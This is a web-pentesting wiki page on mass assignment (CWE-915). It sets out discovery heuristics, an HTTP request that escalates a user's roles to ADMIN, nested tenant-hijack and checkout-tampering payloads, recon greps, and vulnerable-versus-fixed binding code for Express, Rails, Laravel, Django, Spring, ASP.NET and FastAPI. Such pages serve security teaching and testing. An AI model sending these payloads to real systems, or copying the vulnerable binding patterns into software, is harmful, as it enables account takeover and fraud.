mass-assignment-cwe-915.md (12613B)
1 --- 2 title: "Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/mass-assignment-cwe-915.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/mass-assignment-cwe-915.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding 14 15 Mass assignment (a.k.a. insecure object binding / autobinding / over-posting) happens when an API/controller takes user-supplied JSON and directly binds it to a server-side model/entity without an explicit allow-list of fields. If privileged properties like roles, `isAdmin`, `status`, ownership fields, or backend-only processing options are bindable, any authenticated user can escalate privileges, tamper with protected state, or steer downstream code paths.<sup>[[5]](#references)</sup> 16 17 This is a Broken Access Control issue (OWASP A01:2021). In API-centric applications it now fits neatly into **OWASP API3:2023 Broken Object Property Level Authorization (BOPLA)**, which merged the old API6:2019 Mass Assignment and API3:2019 Excessive Data Exposure categories. It commonly affects frameworks that support automatic binding of request bodies to data models (Rails, Laravel/Eloquent, Django forms/serializers, Spring/Jackson, ASP.NET model binding, Express/Mongoose, Sequelize, Go structs, FastAPI/Pydantic, etc.).<sup>[[4]](#references)</sup> 18 19 ## 1) Finding Mass Assignment 20 21 Look for self-service endpoints that create or update objects:<sup>[[2]](#references)</sup> 22 - `PUT/PATCH /api/users/{id}` 23 - `PATCH /me`, `PUT /profile` 24 - `PUT /api/orders/{id}` 25 - `POST /api/checkout` 26 - GraphQL mutations such as `updateProfile`, `editUser`, `saveCart`, `completeCheckout` 27 28 Heuristics indicating mass assignment: 29 - The response echoes server-managed fields (e.g., `roles`, `status`, `isAdmin`, `permissions`, `ownerId`, `tenantId`) even when you didn’t send them. 30 - Client bundles contain role names/IDs or other privileged attribute names used throughout the app (`admin`, `staff`, `moderator`, `internal flags`), hinting bindable schema. 31 - Backend serializers accept unknown fields without rejecting them. 32 - Validation errors reveal hidden property names or expected types after you submit additional JSON keys. 33 - The same object is returned by both a read route and an update route, but the update UI only edits a small subset of fields. 34 35 Quick test flow: 36 1) Perform a normal update with only safe fields and observe the full JSON response structure (this leaks the schema). 37 2) Repeat the update including a crafted privileged field in the body. If the response persists the change, you likely have mass assignment. 38 3) If the app rejects the key, try the same idea with nested objects, arrays, alternate casing, or partial-update verbs (`PATCH`, JSON Merge Patch, GraphQL mutations). 39 40 Example baseline update revealing schema:<sup>[[1]](#references)</sup> 41 ```http 42 PUT /api/users/12934 HTTP/1.1 43 Host: target.example 44 Content-Type: application/json 45 46 { 47 "id": 12934, 48 "email": "user@example.com", 49 "firstName": "Sam", 50 "lastName": "Curry" 51 } 52 ``` 53 Response hints at privileged fields: 54 ```http 55 HTTP/1.1 200 OK 56 Content-Type: application/json 57 58 { 59 "id": 12934, 60 "email": "user@example.com", 61 "firstName": "Sam", 62 "lastName": "Curry", 63 "roles": null, 64 "status": "ACTIVATED", 65 "filters": [] 66 } 67 ``` 68 69 Useful high-impact property classes to test: 70 - **Privilege / trust flags**: `role`, `roles`, `isAdmin`, `permissions`, `verified`, `emailVerified`, `kycStatus` 71 - **Ownership / tenant pivots**: `ownerId`, `organizationId`, `tenantId`, `accountId`, `userId` 72 - **Business logic knobs**: `price`, `discount`, `credit`, `balance`, `limit`, `refundAmount`, `status` 73 - **Backend processing fields**: `templateId`, `conversionParams`, `exportFormat`, `webhookUrl`, `filePath` 74 75 Quick response-schema diffing from the CLI: 76 ```bash 77 curl -s https://target.example/api/users/12934 -H "Authorization: Bearer $TOKEN" | jq -r 'paths(scalars) | map(tostring) | join(".")' | sort -u 78 ``` 79 80 ## 2) Exploitation – Role Escalation via Mass Assignment 81 82 Once you know the bindable shape, include the privileged property in the same request.<sup>[[1]](#references)</sup><sup>[[3]](#references)</sup> 83 84 Example: set `roles` to `ADMIN` on your own user resource:<sup>[[1]](#references)</sup> 85 ```http 86 PUT /api/users/12934 HTTP/1.1 87 Host: target.example 88 Content-Type: application/json 89 90 { 91 "id": 12934, 92 "email": "user@example.com", 93 "firstName": "Sam", 94 "lastName": "Curry", 95 "roles": [ 96 { "id": 1, "description": "ADMIN role", "name": "ADMIN" } 97 ] 98 } 99 ``` 100 If the response persists the role change, re-authenticate or refresh tokens/claims so the app issues an admin-context session and shows privileged UI/endpoints. 101 102 Notes 103 - Role identifiers and shapes are frequently enumerated from the client JS bundle or API docs. Search for strings like `roles`, `ADMIN`, `STAFF`, or numeric role IDs. 104 - If tokens contain claims (e.g., JWT roles), a logout/login or token refresh is usually required to realize the new privileges. 105 - Test create flows too (`POST /register`, `POST /users`, invite flows, support-ticket creation). Some apps reject `role` changes on edit but still accept them on object creation. 106 107 ## 3) Hidden-Field Recon Beyond the Obvious 108 109 - Inspect minified JS bundles for role strings and model names; source maps may reveal DTO shapes. 110 - Look for arrays/maps of roles, permissions, feature flags, workflow states, and checkout objects. Build payloads matching the exact property names and nesting. 111 - Compare **GET** responses with **POST/PUT/PATCH** request bodies. If the response object contains `discount`, `credit`, `role`, `status`, or nested `internal` objects not present in the request, try replaying them in the write request. 112 - Fetch machine-readable API docs if present (`/swagger.json`, `/v2/api-docs`, `/openapi.json`, GraphQL introspection). Hidden fields often appear in schemas even when the frontend never sends them. 113 - Use error oracles: sending an unexpected key with the wrong type can reveal whether the server actually tried to bind it. 114 115 Handy greps against a downloaded bundle: 116 ```bash 117 strings app.*.js | grep -iE "role|admin|isAdmin|permission|status|tenant|owner|discount|credit" | sort -u 118 ``` 119 120 GraphQL introspection is especially useful when a mutation input type exists but the frontend only populates a subset of it: 121 ```graphql 122 query IntrospectUserInput { 123 __type(name: "UpdateUserInput") { 124 inputFields { 125 name 126 } 127 } 128 } 129 ``` 130 131 If changing `ownerId`, `organizationId`, or similar moves the object into another tenant/account, pivot into [IDOR / BOLA testing](/hacktricks/pentesting-web/idor) immediately because mass assignment often becomes the write-side primitive for a broader authorization break. 132 133 ## 4) High-Value Abuse Patterns 134 135 **Nested relation / tenant hijack** 136 - Don’t stop at `role=admin`. In real APIs, reassigning `organizationId`, `accountId`, or `ownerId` is often more valuable because it can move your session, cart, invoice, API key, or ticket into another tenant. 137 - Nested payloads are common: `{"profile":{"organizationId":7}}`, `{"order":{"owner":{"id":7}}}`, `{"user":{"team":{"id":1}}}`. 138 139 **Business-flow tampering** 140 - Checkout and billing APIs often return fields like `credit`, `chosen_discount`, `price`, `coupon`, `refundAmount`, or `approved`. If those properties can be echoed back inside the write request, you may get free purchases, over-refunds, or approval bypasses. 141 - Partial-update routes are worth hammering because developers sometimes protect the main UI form but forget alternate JSON/API handlers. 142 143 **Downstream exploit chaining** 144 - Some mass-assignment bugs don’t end at privilege escalation. If you can set a backend-only processing option such as transcoding flags, template selectors, or webhook destinations, the impact can become command injection, SSRF, or arbitrary workflow execution. 145 - A classic example is a video object exposing an internal conversion parameter field: modifying that property may later influence a shell command when the media is processed. 146 147 ## 5) Framework Pitfalls and Secure Patterns 148 149 The vulnerability arises when frameworks bind `req.body` directly onto persistent entities. Below are common mistakes and minimal, secure patterns. 150 151 **Node.js (Express + Mongoose)** 152 153 Vulnerable: 154 ```javascript 155 // Any field in req.body (including roles/isAdmin) is persisted 156 app.put('/api/users/:id', async (req, res) => { 157 const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true }); 158 res.json(user); 159 }); 160 ``` 161 Fix: 162 ```javascript 163 // Strict allow-list and explicit authZ for role-changing 164 app.put('/api/users/:id', async (req, res) => { 165 const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body); 166 const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true }); 167 res.json(user); 168 }); 169 // Implement a separate admin-only endpoint for role updates with server-side RBAC checks. 170 ``` 171 172 **Ruby on Rails** 173 174 Vulnerable (no strong parameters): 175 ```text 176 def update 177 @user.update(params[:user]) # roles/is_admin can be set by client 178 end 179 ``` 180 Fix (strong params + no privileged fields): 181 ```text 182 def user_params 183 params.require(:user).permit(:first_name, :last_name, :nick_name) 184 end 185 ``` 186 187 **Laravel (Eloquent)** 188 189 Vulnerable: 190 ```php 191 protected $guarded = []; // Everything mass-assignable (bad) 192 ``` 193 Fix: 194 ```php 195 protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin 196 ``` 197 198 **Django / ModelForms** 199 200 Vulnerable pattern: 201 ```python 202 class UserForm(ModelForm): 203 class Meta: 204 model = User 205 fields = "__all__" # exposes server-managed fields if reused in self-service flows 206 ``` 207 Fix: 208 ```python 209 class UserProfileForm(ModelForm): 210 class Meta: 211 model = User 212 fields = ["first_name", "last_name", "nick_name"] 213 ``` 214 215 **Spring Boot (Jackson)** 216 217 Vulnerable pattern: 218 ```java 219 // Directly binding to entity and persisting it 220 public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); } 221 ``` 222 Fix: Map to a DTO with only allowed fields and enforce authorization: 223 ```java 224 record UserUpdateDTO(String firstName, String lastName, String nickName) {} 225 ``` 226 Then copy allowed fields from DTO to the entity server-side, and handle role changes only in admin-only handlers after RBAC checks. Use `@JsonIgnore` on privileged fields if necessary and reject unknown properties. 227 228 **ASP.NET Core** 229 230 Vulnerable pattern: 231 ```csharp 232 [HttpPost] 233 public async Task<IActionResult> Edit(int id, User user) { 234 _db.Update(user); 235 await _db.SaveChangesAsync(); 236 return Ok(user); 237 } 238 ``` 239 Fix: bind to a dedicated view model / DTO and map explicitly: 240 ```csharp 241 public record UserUpdateDto(string FirstName, string LastName, string NickName); 242 ``` 243 Microsoft explicitly treats this as **overposting** and recommends view models over binding entity classes directly, especially on edit paths. 244 245 **FastAPI / Pydantic** 246 247 Use separate input models for self-service routes and reject extras instead of reusing a broad DB model: 248 ```python 249 from pydantic import BaseModel 250 251 class UserUpdate(BaseModel): 252 model_config = {"extra": "forbid"} 253 first_name: str | None = None 254 last_name: str | None = None 255 nick_name: str | None = None 256 ``` 257 258 **Go (encoding/json)** 259 - Ensure privileged fields use `json:"-"` and validate with a DTO struct that includes only allowed fields. 260 - Consider `decoder.DisallowUnknownFields()` and post-bind validation of invariants (`roles` cannot change in self-service routes). 261 262 ## References 263 264 - [1] [FIA Driver Categorisation: Admin Takeover via Mass Assignment of roles (Full PoC)](https://ian.sh/fia) 265 - [2] [OWASP Web Security Testing Guide - Testing for Mass Assignment](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/20-Testing_for_Mass_Assignment) 266 - [3] [PortSwigger Web Security Academy - Exploiting a mass assignment vulnerability](https://portswigger.net/web-security/api-testing/lab-exploiting-mass-assignment-vulnerability) 267 - [4] [OWASP API3:2023 - Broken Object Property Level Authorization](https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/) 268 - [5] [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)